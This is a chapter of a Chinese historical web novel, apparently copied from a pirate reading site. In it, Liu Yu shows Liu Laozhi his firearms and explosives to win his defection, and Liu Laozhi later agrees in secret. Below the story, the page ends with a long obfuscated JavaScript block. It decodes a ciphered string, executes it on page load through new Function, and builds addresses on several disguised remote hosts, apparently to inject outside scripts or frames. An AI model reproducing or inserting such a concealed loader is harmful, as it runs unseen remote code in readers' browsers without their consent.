首页
第一二零二章 心机(二合一)
返回
关灯 护眼:关 字号:小

第一二零二章 心机(二合一)

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    刘裕察言观色,知道刘牢之心有所动。但他知道,此刻不宜操之过急。若急于成事,反而会适得其反,引发刘牢之的疑惑。今日之事,还需徐徐图之。
    “刘将军,我说这些并没有别的意思,只是说出个人心中所想罢了。刘将军若是不愿听我啰嗦,我自可闭嘴。”刘裕沉声道。
    刘牢之抚须笑道:“那也没什么。抛开各为其主敌对的身份,你我好歹也是同乡,就当是同乡叙旧,说些心里话也没什么了不得。呵呵,说起来,你我都漂泊在外,难以回乡。那彭城为李徽所据,不知道何年何月,才能再回彭城了。”
    刘裕点头叹道:“是啊。当日王恭起兵,李徽乘机攫取了彭城和广陵,据为己有。如今家乡尚在,却无法归去,也不知彭城父老乡亲过的是什么样的日子。不过,我相信,总有一天,我们能够回彭城的。那李徽,莫看他眼下雄霸一方,却未必长久。听说,燕国与之交恶,双方大战数场,徐州东府军死伤惨重。他们两家已经结下死仇。这或许便是李徽覆灭的前兆。将来南北局势大变,李徽夹在其中,必受夹击。依我来看,徐州覆灭只是时间问题。”
    刘牢之微微点头。徐州和燕国交战的消息他也有所耳闻。对刘牢之而言,那倒是个好消息。对刘牢之而言,对李徽个人的恩怨倒在其次,更重要的是,天下越是大乱,自己才越有机会。所以听到双方交战的消息倒是挺高兴的。只是最近消息传来,双方偃旗息鼓,似乎又不打了,也不知发生了什么。
    “你似乎对李徽恨之入骨。好歹他也是收容你父子之人。但不知他做了什么,让你如此痛恨他。”刘牢之笑道。
    刘裕呵呵笑道:“我这个人从不计较私人恩怨。我之所以离开徐州,便是看清了李徽的真面目。此人野心勃勃却道貌岸然,明明有争霸之心,却装的一副为国为民的模样,非光明磊落之人。此人还心胸狭隘,妒贤嫉能,看不得别人比他优秀,打压他人,不让他人有出头的机会。我刘裕岂能为这样的人效力?所以便离开了徐州。”
    刘牢之笑道:“原来如此。不过,李徽此人,昔年我也曾和他打过交道。品性且不谈,此人还是有些本事的。他能在徐州立足,倒也非泛泛之辈。据我所致,徐州这些年变化甚大,东府军实力也颇为雄厚。别的不说,单说他弄出来的火器,便颇为惊艳。那可是他的杀手锏。可惜,谢大将军傲气太甚,当年李徽愿意将火器之秘同我北府军分享,大将军却拒绝了。否则的话,局面定然不同。”
    刘裕笑道:“这一点我同意。能立足于徐州,自然非泛泛之辈。我并非说李徽没有才能。他也是寒门出身,能够立足天下,雄霸一方,岂是无能之辈。而且,他能做得到,别人也做得到。你说的什么火器,呵呵,那也不是什么秘密。别人难道便不知火器之秘么?那可不是他一人独有之物。”
    刘牢之瞠目道:“哦?我听说豫章之战,有火器参与守城。莫非刘太守你手中也有火器?”
    刘裕大笑道:“刘将军,既然你问了,我也不隐瞒。我当然知道火器的秘密。不光知道,我已然大量制造。没错,数月之前,司马尚之进攻豫章,我便小试牛刀,以火器炸药击败了他。如今我们正大量制造火器炸药,准备同司马道子一战。之前时间仓促,火器炸药不足。但夏口之战后,我们赢得了充分的事件来做这件事。莫看司马道子正在大肆征兵造船,准备明年同我们决战。我们可也没闲着。我只能说,明年将是摧枯拉朽的一战。司马道子必败。”
    刘牢之神情肃然。他只是听到了一些传闻,说豫章之战有火器加入。但刘牢之其实是将信将疑的。毕竟火器只有东府军才有,桓玄的兵马怎会拥有火器。
    然而刘裕亲口承认,这让刘牢之颇为惊讶。要知道,和拥有火器的对手交战的后果可是不堪设想的,而自己的兵马将来明显会第一个进攻,那岂不是要遭受火器的打击,恐无胜利的机会了。
    “刘将军,你也许不愿相信。但这是事实。我携带有火器前来,若刘将军想验证,我可让刘将军看看我们的火器,演示一番。”刘裕道。
    刘牢之闻言沉声道:“也好,本人见识见识。”
    刘牢之当然想辨别真伪,搞清楚此事,这可是干系生死的大事。这个情报,对己方极为重要。
    刘裕等人携带的火器藏在城外彭蠡泽北岸的芦苇荡中的小船上。刘裕早就算计好了,见到刘牢之之后,他会相机谈及火器的事情,便可演示给他看。若对方不友好,也不至于杀了自己,自己还是能够离开。但火器的事情便也不必告知对方了,将来作战时,这便是杀手锏。
    寒风冷冽的河滩上,刘牢之看到了那些火器。包括火铳手雷炸药包等各种火器林林总总摆在面前。
    “这是长火铳,想必刘将军见识过。来人,演示给刘将军过目。”刘裕下令道。
    三名亲兵拿起长火铳,迅速装药完毕,瞄准二三十步外的结冰的水坑,点火发射。便听得轰轰轰三声连续响起,惊的芦苇荡中过冬的水鸟扑棱棱飞起。二三十步外的水坑冰面轰然碎裂,薄冰被打的七零八落,浑水四溅。
    “刘将军,如何?数十步外,可破甲胄。”刘裕道。
    刘牢之面不改色,他不想表现出慌张的情绪,但其实他的内心却已经颇为震惊了。他见识过东府军的火器,刘裕演示的火铳,果然已经到了和东府军的火铳不相上下的地步。
    “手雷准备。”刘裕喝道。
    几名亲兵抓起手雷点燃,随着一声令下,远远投掷到芦苇丛中。轰鸣声中,烟火爆裂,炸得泥水四起,烟雾升腾。一小片干枯的芦苇燃烧起来,不过因为上面凝结着冰雪,很快便熄灭。
    “此为手雷,破敌阵之用。人群之中爆炸,内里铁片可伤数人。干百枚一起投掷,瞬间杀伤成干之敌。”刘裕沉声道。
    刘牢之眉头紧皱,不置一词。
    “炸药包准备。埋设爆破。”刘裕再次下令。
    炸药包被埋在冰雪之下,心机的刘裕特地命人将数只炸药包埋在一处,以增强爆炸的威力。
    所有人退后数十步,不久后,但听得惊天动地的爆炸声响起,冲天的冰雪和泥水飞溅上天空,泥水四落,方圆数十步内皆受波及。爆炸的气浪吹得周围一圈芦苇东倒西歪。
    所有人的耳朵都嗡嗡作响,瞠目结舌。
    “此为炸药包。专攻城墙城门,也可开山劈路打开通道,威力无比。有此物,攻城易如反掌,再也不必担心对方城池坚固了。之前易守难攻之地,攻之如弹指耳。”嗡嗡的爆炸余波之中,刘裕沉声说道。
    无需他介绍,刘牢之也知道此物的用处。几年前在京口,李徽以重炮轰城,毁了京口的诸多工事,城楼都被轰塌了。经历过那次的轰击之后,刘牢之当然知道了火药的凶猛。没想到,刘裕竟然有了这些炸药包了。
    虽然表面不动声色,但其实刘牢之心中已经波澜起伏,难以言喻。
    “我们还铸造了一些火炮,可以及远而攻,比之投石车床子弩厉害百倍。可惜那物笨重,无法携带前来。也不能为刘将军演示。”刘裕道。
    刘牢之冷漠摆手道:“倒也不必了,我见识过东府军的火炮,确实威猛。你的火炮,应该也超不过东府军的火炮吧。”
    刘裕笑道:“那倒是实话。火器火炮,虽各自不同,但其理一也,那也差不了多少。”
    刘牢之点头沉吟,又问道:“刘太守,恕我冒昧一问,这些火器火药,是出自你之手么?抑或是从东府军手中得来?莫要误会,有传言说东府军和桓玄勾结,供应火器,故而我有此一问。”
    刘裕微笑道:“出自谁手不重要,重要的是拥有此物,便可所向披靡。”
    刘牢之点头道:“那我便明白了。怪不得你投奔桓玄之后,便受重用。当了豫章太守。我想,我知道其中的缘故了。呵呵,刘太守既怀此重要机密,当时投奔朝廷,岂非更加的受重用?”
    刘裕笑道:“我已说过,良禽择木而栖。谁待我赤诚,不以门第出身而论,我便为谁效力。刘将军才能卓著,勇猛善战,投奔了司马道子又得到了什么呢?”
    刘牢之冷笑不语。
    刘裕看着周围刘牢之手下的兵马,轻声叹道:“我真替刘将军不值。刘将军这样的人物,理当受到尊敬爱戴才是。我也为北府军的将士们不值。他们都是英勇善战之兵,但却没有好的待遇。这么冷的天,一个个还衣着单薄,瘦弱不堪。可见伙食和待遇极为糟糕。刘将军,不是在下多嘴,你可是辜负了他们啊。”
    刘牢之瞠目道:“请你注意你的言辞,休得放肆。我倒要你来指责?你为敌军之将,跑来我这里刺探军情,早该被即刻处死了。我有理由怀疑你是前来刺探我大军的军情。若非出于道义,你还能活着跟我说话么?”
    刘裕静静看着刘牢之道:“刘将军,你麾下兵马的情形,还需要刺探么?你手下兵士冻饿逃亡,许多人逃到了我豫章,为我所收留。他们什么都说了,你的情形我也全部知晓。”
    刘牢之瞠目喝道:“好胆,你来此到底意欲何为?说!”
    刘裕轻轻叹息一声道:“我只是不忍见英雄垂暮,为宵小所欺。不忍见北府军将士,忍冻挨饿,苦苦支撑。不忍见我少年时崇拜的英雄和军队,落得如此地步罢了。见到刘将军的今日,令我心中难过。”
    “哈哈哈。”刘牢之大笑,喝道:“你倒来可怜我?真是天下的笑话。我刘牢之倒要你来可怜?哈哈哈。”
    刘裕沉声道:“刘将军,我数次接到命令,趁着你缺粮少衣之时,攻占寻阳,将你们全部歼灭。但我并没有动手。”
    刘牢之瞠目道:“你倒是来攻攻看。”
    刘裕道:“刘将军,我们不必意气说话。刘将军请扪心自问。若我豫章三万大军攻你,你们如今的情形,能够守住么?且不说其他,我已经展示了我手中的火器,光是这些火器,你凭着寻阳城便可抵挡我的进攻么?你是身经百战的领军之帅,又见识过火器的威力,更了解你的兵马如今的处境,你扪心自问,能挡得住么?”
    刘牢之冷哼道:“那你为何不攻?”
    刘裕道:“还不是因为,你我际遇相类,处境相同,又有同乡之情,故交之谊。我实在是不忍见你们被攻灭于此处。对于司马道子而言,你就算战死在这里,你的兵马全部被歼灭于此,他也不会救援的,也不会感到惋惜。他根本不在乎你们的死活。你们没了,他反倒称心如意。你又何必为了这种人死撑到底,因为根本不值得。”
    刘牢之冷冷的看着刘裕,双目中全是锋芒。
    刘裕毫不在意,继续说道:“眼下的局势,你当可作出判断。南郡公和司马道子之争,且不论谁对谁错。他们谁胜谁败也没什么大不了的,关键是我们自己身处其中,是站在胜利的一方,还是站在注定失败的一方。败灭而死固然悲壮,但值得么?若是换个思路,站在胜利的一方,则顿时豁然开朗,前途光明。何去何从,还用多言?人不为己天诛地灭,君子不立危墙之下。如今南郡公手握火器,又得西北诸州百姓拥戴,今冬征兵,登高一呼,得数十万之众。反观司马道子,抓丁入伍,民怨沸腾。李徽等人,虎视于侧,朝廷气数已尽,这一点几可判断。刘将军若是还不能作出正确的判断和抉择,我恐怕刘将军要死无葬身之地了。”
    刘牢之很想发怒呵斥,他瞪着刘裕的眼睛,恶狠狠的凝视他,压制他。但是,刘裕一点也不慌张,双目对视着自己,没有半点退缩之意。
    如果他的话都是胡说八道倒也罢了,偏偏他的话句句说到点子上,说到自己心中隐忧之处,说到令自己愤怒和担心之处。自己实在是没有理由发怒,也没有底气反驳。
    以目前的局势,自己的兵马很难撑住。司马道子的征兵和建造兵船等措施也推进艰难。靠着强行抓征的手段,确实已经怨声载道。而且,就算他凑齐了兵马战船,这些兵马便能抵挡桓玄么?他只相信司马氏的草包们和那些脑满肠肥的豪阀大族子弟,而那些人除了寻欢作乐之外,又有几人有领军作战之能?若是谢玄在世,或可能够领军击败桓玄,可惜,谢玄一死,朝中再无可领军之帅了。午夜梦回,想起前景之时,刘牢之自己也看不到前路上的光明,看不到出路。
    至此,刘牢之也完全明白了刘裕的来意。
    “是桓玄命你前来的是么?”刘牢之沉声道。
    “确切的说,是我向南郡公请求,前来见刘将军的。南郡公的意思是,要我率军一举攻下寻阳。我之所以这么做的原因,适才也已经说的够多了,便无需赘言了。”刘裕道。
    刘牢之沉声道:“你的意思我已经明白了,我不能答应你。我能容你说出这些话来,已经是对你最大的宽容了。你走吧。”
    刘裕点点头,轻声道:“刘将军宽容大度,在下甚为钦佩。我自然也不会逼迫刘将军做决策。今日之事,刘将军不好决断,那也没什么。但我还是希望刘将军能够三思而行。”
    刘牢之沉声道:“没什么可三思的,我刘牢之已经错了几步,不想再错了。”
    刘裕沉吟片刻,叹了口气道:“好吧。既如此,在下不复多言。此番前来,得见刘将军威仪,我已经心满意足了。刘将军能容我说出这些话来,也已经是宽宏之极了。换做他人,恐我刘裕今日要命丧于此了。为了感谢刘将军的宽容,我决定帮刘将军一把。闻将军营中缺粮缺衣,将士们日子难熬,我豫章粮草充足,御寒之物也有一些。如刘将军不弃,我回去后,命人用船只运送一些前来,解刘将军燃眉之急。不知将军可肯笑纳。”
    刘牢之讶异道:“本人没有答应你,却这么做,岂非是资敌之举么?桓玄岂能饶过你。”
    刘裕笑道:“我之前已经说了,南郡公和司马道子或是敌对,你我却是同乡。抛却各为其主这件事,你我有何恩怨呢?有的只是情义罢了。若南郡公降罪于我,我自承担便是,刘将军不必操心。”
    刘牢之怔怔发愣,一时说不出话来。
    刘裕拱手长鞠行礼道:“如此,在下便告辞了。刘将军保重,各位保重。明年春暖花开之时,或许我们会在战场上相见。那也没什么,既然选择了各为其主,那也无可奈何。战场上,谁也不必留情。只是,我必须要同刘将军决一生死,此事令我神伤。当年我未能加入北府军,同刘将军并肩战斗,今日也一样擦肩而过,看来是造化使然。将军,万万保重,他年无论你我谁能活着回彭城家乡,莫忘了为对方以衣冠冢立一坟头,也算是回到家乡了。哎。”
    刘裕长叹一声,转身走向芦苇荡小船停靠之处。
    刘牢之缓缓拱手相送,一言不发。
    ……
    入夜,寒风吹着窗纸呜呜有声。
    刘牢之坐在灯下闭目枯坐。不久后,屋外脚步声响,高雅之的声音在门外响起。
    “岳父大人,我来了。”
    刘牢之睁开眼,沉声道:“进来吧。”
    高雅之裹着一阵冷风进了屋子。上前拱手行礼。
    “岳父大人半夜叫我前来,有何吩咐?”
    刘牢之看着高雅之道:“雅之,老夫想问问你,你对白天的事情怎么看?你觉得刘裕说的事情,是否可行?”
    高雅之愣了愣,笑道:“岳父大人,这样的事情,小婿岂敢多言。小婿唯岳父大人马首是瞻,听命而行便可。”
    刘牢之道:“只是问你的意见罢了。”
    高雅之咂嘴道:“岳父大人已然拒绝了他了,小婿又何必多言?”
    刘牢之沉声道:“这么说,你是觉得可行咯?”
    高雅之道:“莫怪小婿多嘴,我们如今的情形危急,司马道子明显没拿我们当人,粮草物资都不供给,却要我们为他卖命,是何道理?将士们士气低落,逃兵很多。这么下去,别说打仗了。这个冬天能不能过得去都难说。那刘裕诚意甚足,看起来在桓玄麾下也颇有地位,咱们若是投奔了桓玄,起码不受歧视。有他从中斡旋,将来必受重用。总好过在这里忍饥挨冻,苦苦煎熬。总好过被司马道子那帮人不待见。哎,说这些又有什么用?木已成舟了。”
    刘牢之微微点头,呵呵笑道:“雅之,你说的对。我命你即刻前往豫章见刘裕,拿着我的信,里边是我提的条件。只要他们答应我的条件,我们便倒戈归属又有何妨?”
    刘牢之取出一封信放在高雅之面前,那信墨迹已干,显然已经写了很久了。
    “岳父大人,你……原来你已经改变了注意了。那为何白天不肯答应?说出那些话?”高雅之诧异道。
    刘牢之呵呵而笑,轻声道:“雅之,你还不够聪明。白天的事,那么多人看着,老夫岂能答应。军中那么多耳目,司马道子顷刻便知。我岂能当众答应此事?必须当众拒绝。白天的事情我已经写信送往京城主动禀报司马道子,这样他便再无怀疑了。而且我估计他还会为了笼络我,派人前来慰问,拨付一批粮草物资呢。”
    高雅之大笑道:“原来如此,岳父大人果然心思细密,原该如此。”
    刘牢之微笑道:“那些都是台上的做派。你一会连夜出发,此刻做的事,才是台下真正要做的事情。哎,除非我今日杀了刘裕,否则今日他来了,我便不得不倒戈了。司马道子岂有容人之量,得知我和对方人员接触,将来我必死无疑。说不得只能如此了。去吧,小心谨慎,避人耳目,万不可为无关人等所知,速去速回。”
    “遵命!”高雅之携信告辞而去。
    刘牢之长吁一口气,站起身来走到窗前,打开窗户,外边冷风袭人。灯光照耀处,黑暗中有白色的影子纷扬而下,宛如夏日的飞蛾。
    天又开始下雪了。.
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();